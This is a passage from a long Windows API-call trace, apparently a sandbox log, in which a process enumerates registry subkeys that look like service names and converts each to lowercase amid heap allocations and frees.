CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1ad8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0224.942] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0224.942] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.942] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0224.942] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.942] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0224.942] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.942] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0224.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0224.942] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.942] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0224.942] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.942] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.942] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0224.942] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0224.942] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1ad8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0224.942] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0224.942] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.942] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0224.943] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.943] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0224.943] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.943] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0224.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0224.943] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.943] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0224.943] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.943] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.943] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0224.943] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0224.943] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1ad8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0224.943] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0224.943] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.943] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0224.943] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.943] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0224.943] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.943] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0224.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0224.943] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.943] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0224.943] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.943] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.943] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0224.943] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.943] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0224.944] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0224.944] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.944] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0224.944] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.944] RegEnumKeyW (in: hKey=0x150, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0224.944] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.944] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0224.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0224.944] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.944] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0224.944] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.944] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.944] RegEnumKeyW (in: hKey=0x150, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0224.944] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0224.944] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1ad8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0224.944] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0224.944] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.944] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0224.944] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.944] RegEnumKeyW (in: hKey=0x150, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0224.944] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0224.944] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0224.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1bf8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0224.944] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.944] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0224.944] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.944] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.944] RegEnumKeyW (in: hKey=0x150, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0224.945] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0224.945] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1ad8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0224.945] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0224.945] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.945] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0224.945] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.945] RegEnumKeyW (in: hKey=0x150, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0224.945] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.945] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0224.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0224.945] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.945] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0224.945] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.945] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.945] RegEnumKeyW (in: hKey=0x150, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0224.945] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0224.945] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1ad8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0224.945] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0224.945] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.945] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0224.945] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.945] RegEnumKeyW (in: hKey=0x150, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0224.945] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.945] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0224.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0224.945] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.945] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0224.946] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.946] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.946] RegEnumKeyW (in: hKey=0x150, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0224.946] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.946] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0224.946] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0224.946] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.946] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0224.946] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.946] RegEnumKeyW (in: hKey=0x150, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0224.946] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0224.946] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0224.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1bf8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0224.946] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.946] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0224.946] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.946] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.946] RegEnumKeyW (in: hKey=0x150, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0224.946] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.946] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0224.946] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0224.946] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.946] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0224.946] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.946] RegEnumKeyW (in: hKey=0x150, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0224.946] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.946] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0224.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0224.947] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.947] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0224.947] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.947] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.947] RegEnumKeyW (in: hKey=0x150, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0224.947] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.947] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0224.947] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0224.947] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.947] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0224.947] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.947] RegEnumKeyW (in: hKey=0x150, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0224.947] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.947] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0224.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0224.947] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.947] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0224.947] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.947] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.947] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0224.947] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0224.947] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1ad8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0224.947] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0224.947] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.947] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0224.947] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.947] RegEnumKeyW (in: hKey=0x150, 